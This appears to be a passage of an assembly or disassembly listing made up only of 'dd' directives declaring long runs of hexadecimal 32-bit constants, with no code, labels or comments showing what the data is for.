		dd 88506E1Dh, 70094D07h, 0DBD6E81Fh, 0BCEB92B3h, 21522FECh
		dd 1402A691h, 9E1AD31Ah, 4A26DD06h, 0A2C92F4Ch,	1D3F7036h
		dd 0CB98943Ch, 5FD98829h, 0C1F1397Eh, 202FE7C6h, 5A083F9h
		dd 24DC8A83h, 7F702F6Fh, 0D2C2074Bh, 99B20625h,	9E7057DFh
		dd 412F9165h, 5F4F8861h, 8611A142h, 3BF3CB80h, 0D9C3A915h
		dd 0BFAD9C26h, 0D819191Eh, 75CEB9E9h, 33E17790h, 23E9E5Bh
		dd 0CC2B6053h, 9E1D3626h, 508F77A2h, 4DF17275h,	51EB56B1h
		dd 0E209C771h, 0F116F21Fh, 0C71B6B4Fh, 0EEABC284h, 9741C3A2h
		dd 25554875h, 6B43C0E5h, 0CF241784h, 0A54AC6AEh, 8BA6D6BFh
		dd 549A489Ah, 0B5BD91A5h, 103963B4h, 0AD3432E8h, 0E27CBA4Bh
		dd 1AA118E2h, 0F89A9C8Bh, 8CEB4719h, 81C1CF28h,	7704F7D3h
		dd 7363D761h, 0AC44C5D4h, 0FFBC873Fh, 8C7EBA42h, 35FCD485h
		dd 4255BAA7h, 0CEAB538Fh, 422CCF80h, 27C3253Bh,	842E3F7Fh
		dd 45993DD0h, 0BF357F3h, 675DE218h, 0FD701B02h,	51894Fh
		dd 0C88B94CEh, 0B341CB19h, 5EAEE8EEh, 7EAB0C86h, 98804EFFh
		dd 0EE786DE0h, 5CF52713h, 0BD445C81h, 0C5ED5AF0h, 2F3FB39Bh
		dd 0CA15969Fh, 63E1F978h, 0AB19896Ah, 0A394FA86h, 34AD4B0h
		dd 0D12E6C62h, 2B196EBFh, 0B820BF49h, 0E962E7AAh, 1F4C6DB4h
		dd 5F315741h, 89AE6ABCh, 2C4CC62Ah, 0E0619CC5h,	54434EE0h
		dd 0D5DE9D7Ch, 0D5F6A9CCh, 0F585732Ch, 128EA417h, 806BAF80h
		dd 1EF8E318h, 99AD17E9h, 30613E11h, 9E7462FFh, 2C437B26h
		dd 0D87120DBh, 5136E565h, 42490F2Dh, 2B996F51h,	0FB83108Fh
		dd 95BD2C89h, 0E1708DC8h, 5E9593EAh, 76307898h,	42344EFCh
		dd 9245A039h, 0A869A5Fh, 49B8898Fh, 0F58D6025h,	0ECC606CEh
		dd 86AE3900h, 2E7E1A13h, 0B392D371h, 595090EDh,	3AE501A5h
		dd 3A057A57h, 10E6C3E9h, 0CFEA55E7h, 0F9064DC5h, 0E700CF2Ah
		dd 1FFD94E7h, 0C1D37EB7h, 5BEA46F2h, 0AD133319h, 30A5BEC0h
		dd 0B3D309EDh, 9E3BD3C5h, 0D8D5C7FFh, 6769FEB6h, 712C0944h
		dd 0BDAC3EF8h, 6E6B3A71h, 6B314426h, 0CD87A05Ch, 45EDE48Eh
		dd 2EDBE6CBh, 0CF3F1E03h, 7F5A20h, 79E2A54Bh, 668E0E6Eh
		dd 0F04C35C4h, 0BB3871CAh, 0A92C1743h, 8D9BDAE3h, 7C1AA261h
		dd 6C6E299Eh, 0C0125DDEh, 0FAFB9129h, 46759702h, 0F4FDA0D7h
		dd 3B340819h, 63507922h, 0BABB1382h, 5A1EB870h,	0DFBCC832h
		dd 4286FC42h, 9D057B47h, 0DFE7232Ah, 0B1BB0328h, 2751D61Eh
		dd 246D4D23h, 68D2E3Ah,	0E1BF8776h, 885DB6B6h, 4DD75DB3h
		dd 4E68DAB7h, 4753ACB2h, 71ABA081h, 4F0F2DA3h, 985D1DEAh
		dd 81528784h, 0B69309FAh, 0D30EC1E5h, 71AD46EAh, 670D6D92h
		dd 37C7BBBFh, 0DC3DE485h, 0C3953D9Ch, 1130739h,	45A4DC7Dh
		dd 0B64674FCh, 68EAAFA4h, 4BB4BF95h, 0D6695EF6h, 0B407FDEFh
		dd 851A057Dh, 0F29DD618h, 926DE07h, 0C7D55333h,	439C9795h
		dd 0A53CEB1Bh, 0D8ECB771h, 8FC65F39h, 0C4EDB532h, 0FFD74ECBh
		dd 68EBD78Ah, 754200BFh, 0E498E5A4h, 938C4F53h,	7B25ACFh
		dd 310B80CBh, 0A8EFF7E0h, 5F9670BBh, 5129C34Bh,	2DBAB849h
		dd 1EC38EF5h, 37D5840h,	7FD4311Fh, 0D7B423FAh, 9CBB6C12h
		dd 0F3AD1B07h, 5742DDD3h, 0B93D8EDDh, 0EFCDDB32h, 0EBBF2618h
		dd 0B3BA939h, 0E6F8026Eh, 0E7B9C9F2h, 0EDF2E335h, 4E5042F7h
		dd 0A337BAF0h, 7A73D539h, 1BBB6807h, 71CC8C31h,	0DF70C82h
		dd 7363AFEAh, 0C57F648Ah, 4FF6B4F1h, 4B98F176h,	559DF011h
		dd 0C211AEDEh, 7306AD36h, 93CC214Ah, 7E5883BFh,	70F5AC9Bh
		dd 6F876011h, 745C0048h, 0B36330ECh, 942C9354h,	0AC14A564h
		dd 242D4158h, 0C4107268h, 0C8F2684Eh, 414E5A20h, 0B2E71C8Dh
		dd 0F30BD43Eh, 328E88CFh, 36129861h, 0F18EFFF1h, 0B151F0FBh
		dd 41C45487h, 384D5B3Eh, 0F1227527h, 8792BA93h,	320EA585h
		dd 0E3E40F6Fh, 54487E75h, 4556FC75h, 7AF5F68Ch,	9AA7467Bh
		dd 3B7F28D2h, 0E35EA543h, 6E06E062h, 0DB5EC213h, 99899207h
		dd 28499932h, 0AF7E1E46h, 1B5AF6F9h, 0A682269Fh, 0FCD45C8Ah
		dd 9EE08552h, 0A8289236h, 19503220h, 39B42F0h, 0D582B5F0h
		dd 0DD8C343Dh, 4A93D5C3h, 0B04F485h, 0EA7DCE63h, 6C637965h
		dd 0E3735113h, 30CB2C57h, 688BAB0Fh, 505EC9A7h,	0CCF736D8h
		dd 4D7568CDh, 0A252CD30h, 81864E96h, 5320672Fh,	76C23370h
		dd 85482849h, 6D1C0FABh, 11E491F1h, 9BB27975h, 1C20A72Bh
		dd 0A245669Eh, 0F4FD2F5h, 6013F698h, 80A483DAh,	47312AECh
		dd 921C6A63h, 0B35EB850h, 5E0A1BE0h, 4960DD2Fh,	8157A260h
		dd 0B807F9AEh, 5B6A9679h, 3623B79Bh, 0E5B501C9h, 0E09ABC70h
		dd 0DCA3DBEBh, 135A662Ch, 0A0D05D44h, 4BF51A6h,	0D7109002h
		dd 0A2218D6Fh, 1253FAB8h, 0A8270D03h, 8F173343h, 0AB89C44Eh
		dd 3D35AD91h, 68D9FE04h, 0D97392B6h, 0CC0C3B0Ah, 6503C1B6h
		dd 1A983C81h, 0C2B622EFh, 0A25565A1h, 9DF5EB5Eh, 5ACAA6A9h
		dd 707DCA7Ah, 53F25BE9h, 55326519h, 0FDAB2B33h,	4E7B6397h
		dd 22B8F33h, 844E9759h,	9CA20B61h, 0BBE7A2B9h, 0D9F1F8ABh
		dd 230F83D9h, 18C096D0h, 656C0258h, 0C0CCC936h,	0E3A7CB90h
		dd 17F2DF02h, 86167B4Bh, 99C43CB6h, 0EE915404h,	7E8FA96Ch
		dd 0E91ECBF4h, 0A6294AD6h, 177302ECh, 81B85008h, 93B02A76h
		dd 0D0AAD0A9h, 0FA888E50h, 1C320483h, 574BC37Ah, 531C467Bh
		dd 0AE4B2942h, 0B8C0747Ch, 4BC4DEEh, 4A38B6C0h,	66326948h
		dd 0EE64E654h, 8F25657Bh, 9197F0E8h, 0F12E5D0Dh, 0BF26D766h
		dd 76AC9ACDh, 6189802Ah, 6B56389Ch, 0B12E1CD3h,	0F864F2B2h
		dd 0B6C004Eh, 0BFE32369h, 8BA740FCh, 1777F640h,	6F6F8492h
		dd 51D81827h, 0A2D06354h, 0A609EE18h, 1E80F534h, 29539541h
		dd 4E1F6B91h, 0AE9CA7AFh, 2D2AEA3Bh, 42E7B3EAh,	0C786DE03h
		dd 3334E26Dh, 0C49D4B21h
		dd 0A625EC2h, 846607C7h, 0A7438E87h, 54A6164Bh,	0EB9A07AEh
		dd 118660E4h, 0CE3DBD06h, 7026EF4Ch, 0BE824E17h, 88D3C681h
		dd 0B2A5B11Ch, 73579D74h, 0C6D9CAFDh, 0E85FFBF1h, 1A2160DEh
		dd 6ED9EA49h, 0CCD5DC74h, 7F441FFDh, 98273A7Eh,	6FE2379Fh
		dd 47E63AFBh, 0B3FED2F7h, 599FA96Fh, 225AC9Ah, 5E2DC5A1h
		dd 0D08107D0h, 537D9CC8h, 0DFEB6E43h, 0C6DAA138h, 0E7BEAAEBh
		dd 2ADA79D4h, 0AA51B6B9h, 0C4A1316Eh, 0A4A2CBF4h, 0DA5183DEh
		dd 2B2D7108h, 0F6705624h, 0BFABD100h, 9AAB06ACh, 77D6779Ch
		dd 46DA94FEh, 0C0D0A206h, 9799BE22h, 0A33F3517h, 0B3BA435Fh
		dd 0A3E185D3h, 3D9A204Fh, 66CF75A0h, 415C49A8h,	5A3C6552h
		dd 0F1A95904h, 0B8A5DD80h, 67F5A37Bh, 15271152h, 7F14E333h
		dd 0C901AE1Fh, 55575B41h, 0AA3F9603h, 6779709Bh, 71A442C4h
		dd 0ED7F2C9Ch, 0E61B93BDh, 64DB26C0h, 2142F83h,	0B320C02Ch
		dd 3A70D3EDh, 6F061633h, 5E4E7A1Eh, 0B30D2188h,	0A6E5C3EFh
		dd 67C3113Fh, 4CCA833Ah, 651E2613h, 0D18702B5h,	943BC694h
		dd 0EB5552F8h, 162FA6C9h, 38BA7B64h, 0F16A33B6h, 388BC747h
		dd 3AE48640h, 47DC8057h, 22815BB1h, 68303E4Bh, 0AAF1376Bh
		dd 0CCA30706h, 0F338ACD6h, 2A270410h, 67D8C8Bh,	9B6657DBh
		dd 519252FFh, 0EF037B5Bh, 0F11D4E3Fh, 47F8A0F0h, 2DCD5A8h
		dd 0BE4EA69Ah, 2B02D005h, 9D7725CBh, 0E1C366A5h, 0BFD9D5ACh
		dd 6F123896h, 0BA64A313h, 528DE3C7h, 0BD4EF8B1h, 0E25AFDE6h
		dd 53062572h, 0DCC752BBh, 0FD600093h, 818A1B24h, 514B8333h
		dd 9408A56h, 7BFF4410h,	0AC342228h, 9E9F2E08h, 0F7F1ED52h
		dd 0EEE3A383h, 3CD607C6h, 93692B8Dh, 0C376649Eh, 0FE882F98h
		dd 2900BF6Fh, 0C3DB50Eh, 0CA394067h, 0A737233Ch, 0F409BE2Ah
		dd 97442865h, 51811543h, 5DAEB1C8h, 7D30ED73h, 0A89575D2h
		dd 717DE2D9h, 55B90EF3h, 9037F957h, 659D33C6h, 75FED982h
		dd 0D5EF4934h, 1A3E41D2h, 6FAEBE23h, 0ACEAC3DFh, 78D0F5A4h
		dd 4DCCAB45h, 0F0270F89h, 0BE3F6E1Ch, 0EAD793A0h, 0CF4576CBh
		dd 0E88C8244h, 0B9E8C625h, 60CEA1D1h, 0AC6F4808h, 9A216B1Ch
		dd 26F053A1h, 7986650Eh, 0C134F49Ah, 0E9B2A545h, 0E8F7DDE7h
		dd 0E04AF0h, 50FD5C97h,	82A754C4h, 0F91E2E19h, 0DA6E1BF4h
		dd 0A97A10Ch, 0B90AD3BEh, 0B71DF8C0h, 4D0264B7h, 0B49985BFh
		dd 0B1ADD75Fh, 0B6AF8913h, 2F464CEFh, 0F13C9795h, 0C09BDF1Ch
		dd 5A2621ECh, 5476F551h, 0E7ADC4D9h, 89CF898Ch,	7ACE5Eh
		dd 15177EB2h, 9B26BFEBh, 1A564B42h, 791FF8FAh, 0E4CE0C7Bh
		dd 7B81A96h, 95E67083h,	0BE6EAD5Eh, 0B1CD7C61h,	0EBBF7320h
		dd 84AC7DBDh, 0F52D81F0h, 157CCE87h, 5CE8B808h,	366D7D10h
		dd 54A4226Fh, 6A56CFF3h, 47A5CD31h, 37EA4C4Bh, 2BBC6338h
		dd 0B85D4E7h, 80FFF501h, 8262EAA2h, 0FD336214h,	0E3DE40ABh
		dd 364AEDA1h, 90004869h, 0EC3D7E82h, 0E48FDBB4h, 0EE1A06D0h
		dd 4268BC16h, 0A5146EA4h, 7BAD1CA8h, 9444D4CCh,	45623413h
		dd 0D344D7E7h, 9C03EB0Eh, 425F5A97h, 3C16E7BBh,	1A874E92h
		dd 6C47080Eh, 16699240h, 7A1B23ACh, 0B371D2ECh,	8B66A880h
		dd 5D771362h, 0DEAA438Dh, 4447CEADh, 0BBDB59AEh, 0B8C69B13h
		dd 5C0B6A21h, 0E2F6CE70h, 90708B06h, 5713AFAh, 0D1059797h
		dd 0C06BE1BCh, 92C740EBh, 45D7F26Ch, 0ED2FCF62h, 6A1291CDh
		dd 27B53A78h, 1B1A34CBh, 999086FFh, 8FBD50AAh, 150964B9h
		dd 0A8A5D07Eh, 0CC9BD882h, 0FD14DB33h, 0DE8D0C35h, 0DA3160E6h
		dd 0DB16E0FEh, 944CC1A3h, 83D75729h, 0FEEE6402h, 66268E26h
		dd 9350EB71h, 0EE9D0896h, 0F7910D00h, 8A339D60h, 3144E0A6h
		dd 5037967Ch, 3CB68944h, 0FA0E8B60h, 9BD44EE7h,	5910C488h
		dd 9D817EDAh, 0BA3D6733h, 0B9E22985h, 0F902AF20h, 7D400A22h
		dd 0E2F2B3F9h, 5659FB2Dh, 1E801319h, 4C59F979h,	0C5CF4F36h
		dd 946B7C82h, 46DD9C38h, 1B450B87h, 0D9A9C6DDh,	0FF982AC4h
		dd 846FBDE8h, 0C32DF0E8h, 11E8507Eh, 9508454Bh,	3E91E0CCh
		dd 0B0E98B44h, 0A4273620h, 0A93C5251h, 51461DB7h, 61B4784Ch
		dd 0D35EB4A4h, 6DFA0734h, 0EF06C07Ch, 0EA130157h, 0CEF7B3DFh
		dd 7365C588h, 0E83A071Dh, 2A25806h, 0A81A7753h,	8B210CF1h
		dd 52C9325h, 9F4DB31Bh,	3EF74559h, 0F6D1F8C9h, 3689B0F9h
		dd 9D5D14A8h, 90218158h, 0E286FC33h, 3195CDA2h,	3C547823h
		dd 0EA6001F8h, 0B61437BCh, 14E60080h, 0B9EA63C2h, 0A9C395D8h
		dd 0B6921A1Ah, 15120598h, 9200FDA7h, 3B7CA3E2h,	0FC5AF15Eh
		dd 8DC9D5FFh, 39A1F8AEh, 7CFFA889h, 6D637E2Dh, 854F5979h
		dd 0B399A8E3h, 0D7787CFDh, 9CAE1CF7h, 0D812EF6Fh, 0B69210EBh
		dd 9422C5C9h, 3C00DFB3h, 0F3BB3178h, 8B8BCAFEh,	0DA6F1FF1h
		dd 8982C535h, 526EE474h, 0E1801415h, 7212541Eh,	7ED2F9CAh
		dd 0FEF6C63Dh, 95FE99F8h, 64DF7B7Fh, 7AA7B5FDh,	79C196B6h
		dd 0CDCA6095h, 58F6E232h, 0EC4F2F79h, 4C5B9D92h, 30075519h
		dd 97C0138Dh, 556A89B4h, 57BDAD2Ah, 0BFAB254Eh,	300055F1h
		dd 0D3133763h, 0E1BA63EFh, 0F39D4C11h, 0CBF7EDA9h, 3A8B51C8h
		dd 0EE851A8Dh, 65942FBFh, 0AF858437h, 0CFF7FEC6h, 136F46E2h
		dd 5B905753h, 0A1922C07h, 0D31C5189h, 755578ADh, 0A55B282h
		dd 0A4CE56F2h, 7509A982h, 8745DCBEh, 0D9036DC0h, 9AD725C1h
		dd 4BB2663Eh, 784560F6h, 0D6CACEE9h, 83D6E8E2h,	94A5ED75h
		dd 49C02FABh, 0EFA96B21h, 9A5CDBA2h, 4467DAA5h,	0CF814293h
		dd 29E08D3Ch, 0D8FF2A36h, 2FA79DAEh, 0B8FAF2B3h, 771CF332h
		dd 37C2CEA6h, 51D82596h, 0D8366658h, 0B23E97Eh,	11DA33E5h
		dd 0FBCD3C85h, 64890C49h, 5548A00h, 795458C6h, 91D5F6FFh
		dd 0CC477E8Ch, 0A9155DB1h, 88CA9FA4h, 39A5A613h, 712DAE1Ch
		dd 0DC0BDD50h, 9BF7791Bh, 0D2F06E7Ah, 6C7B2795h, 0C1E870D7h
		dd 9493CDDEh, 0F914DAA7h, 2E8F58Fh, 0CF974F73h,	5D0B6A2h
		dd 1575CF8h, 0BB33DDC9h, 6C6884ADh, 31629B18h, 0FE3A5868h
		dd 203341DFh, 0DA5BD9E9h, 97FD29D7h, 239ECA1Ah,	0A42CBE93h
		dd 7CE81796h, 674FD4D0h, 0CE9AF352h, 1AF29AD7h,	578F6392h
		dd 7B6DBCBFh, 0F96D0335h, 271E627h, 33010508h, 0DB75A86Dh
		dd 4F5CF250h, 49E65DCFh, 127C8D8Dh, 77CD759Ch, 0CE1C90BBh
		dd 0D0F7B974h, 74484261h, 0B226BD0Dh, 5627FA15h, 64763B9Ah
		dd 0D99AFE62h, 65CF5080h, 2975335Dh, 64B16825h,	654A2CA0h
		dd 928332EBh, 0E616C717h, 0CFA27627h, 0C8EF000Eh, 4E13A185h
		dd 67A0C114h, 0F2AE723Bh, 71A24882h, 41948CAAh,	0B2A8A76Dh
		dd 0BD7A3738h, 92BE7F81h, 7EEE5514h, 8274641Bh,	100AED4Ah
		dd 0CBEC9912h, 4C1AD091h, 0CEA4130Fh, 0E5BC4266h, 4255F796h
		dd 0BA567190h, 7CB1A1A0h, 0F95688D9h, 8AA5DC7Dh, 39F2BD19h
		dd 5C7C87D3h, 6B1FC5E6h, 55F7D612h, 0F24C29B0h,	0D794BCD0h
		dd 6DFEEF4Eh, 3728A017h, 0F6BD6F3Ah, 7EBEA143h,	0F09044BCh
		dd 0B8662C7Eh, 2755BF2h, 2D230B2Bh, 0D1A22125h,	0B6C23532h
		dd 0A4BDDC88h, 8171D034h, 831B611Bh, 63C8EFE9h,	66166B16h
		dd 0BC0B89ADh, 0F20F78F3h, 0F3CCAE67h, 0BCE1B206h, 0DF8D4941h
		dd 0E2C80262h, 8A7BF9B3h, 2C5E675Bh, 2B54A294h,	0D1A2C08h
		dd 3776F217h, 92112172h, 0ABBC0893h, 0D1D0CB64h, 0C75B3853h
		dd 6E3E9A1Eh, 0AECDA6FCh, 0F9D10614h, 0B3A5BC89h, 0CFBFDB04h
		dd 0A1C06E73h, 0B340B24Dh
		dd 0CB279565h, 595A6E5Eh, 2009472Bh, 0D9CC811Fh, 3DD04F78h
		dd 7C7CF897h, 9195C707h, 44DF005Ah, 632A3A1Bh, 62FFFE71h
		dd 4DA11C8h, 56D3B3D5h,	0BA15B6C3h, 56878BBCh, 13E8B375h
		dd 37048F7Eh, 936BA836h, 3557E71Eh, 0F3C49A12h,	0ED957D9h
		dd 0DAEB2A9h, 0F13687CDh, 153622F0h, 93852CBEh,	0D4170E70h
		dd 0F3A77AC5h, 7664792Dh, 0B6539656h, 0F80566CDh, 0ED095672h
		dd 16590FC8h, 3B45FBh, 9EE1C1C4h, 1A1C031Eh, 97E08D11h
		dd 0B3F82A0h, 1C667FF5h, 0CEE2B8EEh, 13DADABh, 0E8079795h
		dd 1B86E07Ah, 292409B2h, 13C45614h, 4130A97Eh, 9BF9E82Ah
		dd 4488FBD3h, 1E9E8D71h, 971E670h, 4E88840Fh, 29AAF311h
		dd 0E1EE5C7Bh, 0EA21985Dh, 25F21DE9h, 715599ECh, 77E39645h
		dd 4DD2244Ah, 0B3A68988h, 0DC46872Ah, 19470BE9h, 0E50C6790h
		dd 7FB16987h, 0B4BB5CB2h, 47C3A033h, 6C532F2Fh,	76F5B270h
		dd 9CF08253h, 2C46D47Dh, 2F7C86C8h, 73DA5D0Fh, 1617EB6Ch
		dd 662F1A7Eh, 0ADBCBE61h, 8D0B4135h, 0AA5606h, 36EE511Bh
		dd 0A1D0C5F4h, 8E2B15D1h, 4F1D4922h, 0E6D2C29Eh, 0FC2AC7CCh
		dd 0F7FB255Fh, 0E0F064BEh, 82B84994h, 18BFDAA6h, 3AFA3E55h
		dd 303DAB9h, 1599361Dh,	3983A46Ch, 2361BF3Ah, 4DBCEE15h
		dd 0EC81CD73h, 0A509D9DAh, 0B3ABAB75h, 0E161F783h, 64EF0774h
		dd 9382138Fh, 4F9960FDh, 3A161DE8h, 129AF7A1h, 61D33316h
		dd 128973D3h, 55B83CBAh, 67E33718h, 2218928Ch, 72A65B8Fh
		dd 0FBDFEC93h, 2365FB8Eh, 0E12C5E41h, 0F6F2AFF9h, 0C32FB753h
		dd 0C086714Eh, 55E06DE0h, 696AD8CFh, 9C1194FAh,	479272F0h
		dd 0E2AC0B7Ah, 12BFC48Ah, 2104E334h, 17528EAh, 0CFEF87DAh
		dd 968599D2h, 0F5D2B748h, 32C441AEh, 0E577FEA8h, 71FB7AC6h
		dd 239F8A99h, 7C103824h, 0DB591537h, 0A861341Ah, 93E7C300h
		dd 0CE0CD796h, 783D1DE1h, 243D9240h, 4BB84515h,	4B4E2AC5h
		dd 10AC0DF7h, 0D04457EDh, 0DE9CCBB9h, 9FFC1509h, 6E8E9334h
		dd 1EBFA4h, 0AD9DCE21h,	7CE70B82h, 0B26059E3h, 0D35F1FF8h
		dd 0ED0659B2h, 2C943C1Dh, 0F7A617A3h, 0E7C90D2Ah, 4013DC18h
		dd 0EEC10C56h, 1F3AB8D2h, 0D173A05Ch, 0B3D15A3h, 0F8E03A7Ch
		dd 42E6FA13h, 0B4BDB27Dh, 0E46B2565h, 4E98940h,	0F83902DDh
		dd 938F6AE4h, 4AF9B553h, 0BABAB9D9h, 0BC3FE890h, 19F2519Bh
		dd 43633948h, 3FD3017Bh, 314C5BF2h, 1FF3025Fh, 840D7434h
		dd 526372E3h, 8F3B9F19h, 1B15ABD5h, 0CABB293h, 0C586A989h
		dd 57826D9Ch, 8A9C60C4h, 3E716C9Ah, 578F303Bh, 31F109B8h
		dd 65A389D8h, 0F176E7Fh, 0F6D1DC85h, 5F20303Ah,	304E589h
		dd 0D56E4623h, 2467DC8h, 9007FED1h, 7BD845Ah, 73F32C47h
		dd 4F3C96A6h, 88020B19h, 61D071C2h, 3573F79Ah, 0CA15019Fh
		dd 9F26EF05h, 5C29C1A4h, 30CF93E5h, 3A5F1B7Fh, 57C8E26Ch
		dd 0B5021E3Fh, 57E7493Bh, 0C45F792Eh, 0ED561E1Ah, 7693AB2Fh
		dd 99FF9AC1h, 0FCC6D833h, 70F1983Ah, 0C75B7372h, 4F62A2B9h
		dd 31C1AC74h, 0E2990E16h, 12A0067Bh, 0CB8A5FC9h, 32AA55F5h
		dd 0B47A5CA8h, 0F9817549h, 7D0C4146h, 0CB447DDDh, 0DA6EBB5Ah
		dd 9257D1C2h, 0D702D09Bh, 0F6E3B5ECh, 4250F21Ch, 0F27F055Ch
		dd 6437FAh, 55639DFCh, 0EE6A7330h, 6DE02749h, 6BC916CFh
		dd 1496C82Dh, 5C043CE1h, 58D3F776h, 60D7CCC5h, 93A72F48h
		dd 5D6F63C6h, 52DA1AE3h, 0B82AFC23h, 9DC8F105h,	0CC992142h
		dd 79AF9BCCh, 8F1A479Eh, 3ADDF9E2h, 830F2FEFh, 46A42ED5h
		dd 0E444EA23h, 0C035DCF5h, 60AE16B0h, 4FB119D0h, 8770182Ah
		dd 0D935FDC0h, 9C8004C7h, 0FA330161h, 0E520917Ah, 5E66AC6Fh
		dd 0BF3C3118h, 0B54FC7A5h, 0E1F7A23Eh, 3FB09EDFh, 42C13BE7h
		dd 8BFD05F7h, 6F87898Ch, 987158B4h, 0EB75BD6Ah,	82DB79E7h
		dd 94AB4F8Ch, 0ED1477B1h, 55FF35CDh, 2AFF2BD6h,	3A492841h
		dd 0F9ED613Ch, 0AC927A14h, 6D06664Ch, 607E3231h, 0ABBAFA97h
		dd 0E1B5A1B5h, 24B88A06h, 9497E0D4h, 2476DA3Fh,	0EEE84B88h
		dd 21232176h, 2482C582h, 4359A66h, 50031BBDh, 23236EF2h
		dd 0C66BB507h, 5A935D95h, 87D3F395h, 0E365CE46h, 7776C77Fh
		dd 8FCC767Eh, 0ADF4BDBBh, 374540Ah, 7F12848Fh, 0A6C3FB19h
		dd 710C372Ch, 9E7EA41Ah, 46AF4B3Eh, 0B74D417Dh,	3A7A7A6Fh
		dd 6AC4E87Ah, 0AD1B1B70h, 0F70DC028h, 2CE72AD6h, 0DAAC21A1h
		dd 0DF7610C8h, 0FF42FBEDh, 5C08C7ABh, 84AB0DECh, 0F600E5AEh
		dd 92F85FFFh, 7F03D846h, 99D8BD92h, 0C97C5D77h,	5706FD17h
		dd 0FFBAED7Fh, 3D613042h, 17C6F0CEh, 0B244BF9Fh, 0F18E9353h
		dd 2A2E9BE3h, 1DF99F27h, 24CC61B3h, 3B9BBCFBh, 7EFA9C5Eh
		dd 30AA28DFh, 21A31205h, 10AD4230h, 4E15A2F4h, 42AB4606h
		dd 3EDAB511h, 0B2707C09h, 1E6C30B7h, 62116048h,	0F7F5D29Fh
		dd 8CDB22C7h, 32C60EA1h, 2830BAECh, 0FB13855Ah,	0BE8DEC33h
		dd 0A581C6FEh, 18BE3D74h, 803F8E4Dh, 0CBE5B3B9h, 46A2CBBAh
		dd 3325CE35h, 50C8AC40h, 0F862760Ch, 0CCAAC055h, 8745FAC5h
		dd 84E7E30h, 1BCCB9E6h,	6E3A1EDDh, 90D84786h, 731C534Ah
		dd 3AB0EF58h, 0BB4AD24Bh, 0F01A5CFEh, 2A25E279h, 84ED2D9h
		dd 13D622B1h, 8D81804Eh, 0C990B0B4h, 49E722Ch, 5CAF54DBh
		dd 2AFCD5D6h, 79C3BEB2h, 0C4AC91D6h, 19676835h,	9CBE2D18h
		dd 0A03FD1BFh, 54814DA0h, 0D8ED7424h, 42A5285Ch, 0CB671B77h
		dd 0F144EAC3h, 6C04CAB7h, 433D702Eh, 0D7615B51h, 8E4230E5h
		dd 29E4E5ADh, 0C94F355Eh, 95B5AC44h, 6F5D6DE0h,	1ED9194Dh
		dd 8240A296h, 51248396h, 0D01A7DD2h, 0F7339C86h, 4F0178C4h
		dd 8F6B38EFh, 353E30C1h, 0FE612A93h, 0CEBB34D6h, 1D2BF287h
		dd 0A4A340AAh, 434FEF67h, 0F2E30751h, 57BCA404h, 0BF00C5BFh
		dd 1E5F7DFh, 0FC886E3Ch, 824D6CBAh, 6ED0650Dh, 8B16380Ch
		dd 646474F0h, 1231A6h, 1A1FFA4Fh, 43ED0C9Ah, 51CE06FEh
		dd 4C9BECEFh, 803EEB1Ch, 196668BDh, 4992825Ch, 6A1698CFh
		dd 0E1331958h, 0EDF389B1h, 85AF9329h, 0C0590C97h, 6381EF94h
		dd 362C52C3h, 713744ADh, 0AD02730Eh, 9523A6D1h,	0AAEA7FAEh
		dd 0B121EB72h, 0D67E69AFh, 0EB205C0h, 5D35F23Ch, 6D57B36Fh
		dd 34DB3AB9h, 6627873h,	8EF79145h, 83FB7981h, 3A62F6DBh
		dd 0BA4706ACh, 94FF8C6Ah, 0BF878C0Ch, 3D22C6C0h, 0C00E2E3Bh
		dd 40170CF5h, 0A5FF6C69h, 185CF3C0h, 53348112h,	5C93807Ch
		dd 0F47B79F5h, 499FC0F6h, 0BFCC1F43h, 0C4ABE2FBh, 4FBCC393h
		dd 25A1F3F4h, 0D4720EE8h, 7D4A3418h, 34E59DF7h,	0EC7598D1h
		dd 747B9699h, 0D0AD3EF5h, 6003D9DCh, 0DC2C9A32h, 6CCDFB53h
		dd 78CD7506h, 0C2F1B74h, 4D7A33C0h, 0B299CF97h,	121447CDh
		dd 2C8FCBC7h, 0EFCCCB5h, 0B2300511h, 0CFAC56DBh, 5BBAAC58h
		dd 0F00F1C94h, 7F43F517h, 6F59F50Fh, 7DA0EF76h,	5054A312h
		dd 481C2424h, 9CA9E6FEh, 40A0FA11h, 0D9FCAAD4h,	4E33DB93h
		dd 7CAFEC68h, 186DE191h, 0D4DB6CFFh, 38517805h,	0CD06006Ch
		dd 3C98F037h, 438D90B3h, 965AEDA0h, 24945627h, 7AF55E20h
		dd 0B56CE07h, 0CFD085B4h, 88FD7099h, 907726AFh,	3B0DDB53h
		dd 22F09AABh, 9010AB3Bh, 0B8F9E0BCh, 1FDF6706h,	0CEF81BA8h
		dd 7C5CC76Ch, 0A1412319h, 62A814D6h, 3AA5B39Dh,	30B7392Dh
		dd 0A38277EEh, 7B0A6D96h, 30B68B06h, 0D4BCEC52h, 870F97EBh
		dd 72BF1CB6h, 2546B1ADh
		dd 47020C0Bh, 78F50A05h, 9AD85FAEh, 0F3D25B9Bh,	0A36D5DCFh
		dd 289C8ECEh, 0A576BEDEh, 5A165596h, 140BA602h,	389D6923h
		dd 330DD6F3h, 8C927B94h, 0B2FDD2DAh, 8FC9E732h,	5787C07Ah
		dd 0EF8FBC4Fh, 1A0A1FB6h, 0C6061A64h, 7D290D5Bh, 135437ACh
		dd 1AB6FE85h, 55002FC1h, 0DF21D400h, 0E6E0AAD0h, 207D4F57h
		dd 70A43A06h, 5814FBB9h, 0C14AAA81h, 35A730D5h,	895CD5C1h
		dd 202F7FABh, 1E5CC297h, 23C524AEh, 9A1D1B13h, 88B77BC3h
		dd 0E68DFCAEh, 0D3DDDF91h, 0C56981F6h, 0D6DF7Ah, 17A75B72h
		dd 5A58B900h, 721DF69Ch, 75842392h, 6EAB9F2Ah, 0CFFFEEB7h
		dd 0ECCF36F8h, 5ACBAD93h, 5429DD1Eh, 0D4669571h, 0C54B51C1h
		dd 40D917E7h, 3BC12BCDh, 0E2426302h, 58DF9AB4h,	0F13F1CD3h
		dd 8E2AF7CEh, 20EED961h, 7CE605F6h, 0EF54FD25h,	0BE908489h
		dd 571543EAh, 8D12B5ACh, 965DA222h, 0DDDBA6F0h,	28FB342Bh
		dd 6529EAA1h, 0AEABD3D8h, 2D4F6D1Bh, 138D2D80h,	605C0265h
		dd 50E1EA58h, 65763A02h, 0CFE595AFh, 97C3E2C8h,	4D3CCB9Eh
		dd 0B7F81D21h, 96997482h, 0A7174C44h, 30366A71h, 7DA145B0h
		dd 1D09006Ch, 0B0AE66F6h, 0C13F8206h, 0A3F6E6AAh, 5CFCF01Ah
